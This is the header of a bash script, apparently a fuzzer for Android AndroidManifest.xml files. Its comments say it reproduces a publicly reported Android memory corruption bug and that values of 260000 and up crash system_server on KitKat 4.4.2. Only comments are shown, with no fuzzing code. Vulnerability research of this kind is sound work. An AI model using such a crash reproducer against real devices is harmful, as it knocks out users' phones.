Nifty Little Bash Script for Fuzzing Application AndroidManifest.xml's
#!/bin/bash
#Basic set up for an Application AndroidManifest Fuzzer
#this requires a preexisting ant buildable application project to be set up! so get the SDK and ant1.8
#this file reproduces the bug mentioned here http://ibrahimbalic.com/2014/android-os-memory-corruption-bug/
#NOTE: values from 260000 and up cause SIGSEGvs to be sent to the system_server (test on KitKat 4.4.2)
#NOTE: you should probably monitor $(adb logcat)||(/system/bin/gdbserver) for responsiveness to the issue
